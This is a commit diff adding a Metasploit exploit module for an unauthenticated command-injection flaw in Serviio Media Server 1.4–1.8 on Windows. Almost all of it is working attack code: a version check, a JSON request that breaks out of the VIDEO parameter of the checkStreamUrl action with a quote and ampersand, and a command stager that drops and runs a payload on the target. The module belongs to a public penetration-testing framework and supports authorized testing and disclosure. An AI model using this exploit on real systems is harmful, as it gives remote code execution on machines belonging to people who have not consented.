Add Serviio Media Server checkStreamUrl Command Execution

Author: bcoles

modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb

@@ -0,0 +1,101 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  HttpFingerprint = { :pattern => [ /Restlet-Framework/ ] }
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Serviio Media Server checkStreamUrl Command Execution',
+      'Description'    => %q{
+        This module exploits an unauthenticated remote command execution vulnerability
+        in the console component of Serviio Media Server versions 1.4 to 1.8 on
+        Windows operating systems.
+
+        The console service (on port 23423 by default) exposes a REST API which
+        which does not require authentication.
+
+        The 'action' API endpoint does not sufficiently sanitize user-supplied data
+        in the 'VIDEO' parameter of the 'checkStreamUrl' method. This parameter is
+        used in a call to cmd.exe resulting in execution of arbitrary commands.
+
+        This module has been tested successfully on Serviio Media Server versions
+        1.4.0, 1.5.0, 1.6.0 and 1.8.0 on Windows 7.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>', # Discovery and exploit
+          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
+        ],
+      'References'     =>
+        [
+          ['OSVDB', '41961'],
+          ['PACKETSTORM', '142387'],
+          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php'],
+          ['URL', 'https://blogs.securiteam.com/index.php/archives/3094']
+        ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          ['Automatic Targeting', { 'auto' => true }]
+        ],
+      'Privileged'     => true,
+      'DisclosureDate' => 'May 3 2017',
+      'DefaultTarget'  => 0))
+    register_options([ Opt::RPORT(23423) ])
+  end
+
+  def check
+    res = execute_command('')
+
+    unless res
+      vprint_status 'Connection failed'
+      return CheckCode::Unknown
+    end
+
+    if res.headers['Server'] !~ /Serviio/
+      vprint_status 'Target is not a Serviio Media Server'
+      return CheckCode::Safe
+    end
+
+    if res.headers['Server'] !~ /Windows/
+      vprint_status 'Target operating system is not vulnerable'
+      return CheckCode::Safe
+    end
+
+    if res.code != 200 || res.body !~ %r{<errorCode>603</errorCode>}
+      vprint_status 'Unexpected reply'
+      return CheckCode::Safe
+    end
+
+    if res.headers['Server'] =~ %r{Serviio/(1\.[4-8])}
+      vprint_status "#{peer} Serviio Media Server version #{$1}"
+      return CheckCode::Appears
+    end
+
+    CheckCode::Safe
+  end
+
+  def execute_command(cmd, opts = {})
+    json = { 'name'      => 'checkStreamUrl',
+             'parameter' => ['VIDEO', "\" &#{cmd}&"] }.to_json
+
+    send_request_cgi('uri'    => normalize_uri(target_uri.path, 'rest', 'action'),
+                     'method' => 'POST',
+                     'ctype'  => 'application/json',
+                     'data'   => json)
+  end
+
+  def exploit
+    fail_with(Failure::NoTarget, 'Target is not vulnerable') unless check == CheckCode::Appears
+    execute_cmdstager(:temp => '.', :linemax => 8000)
+  end
+end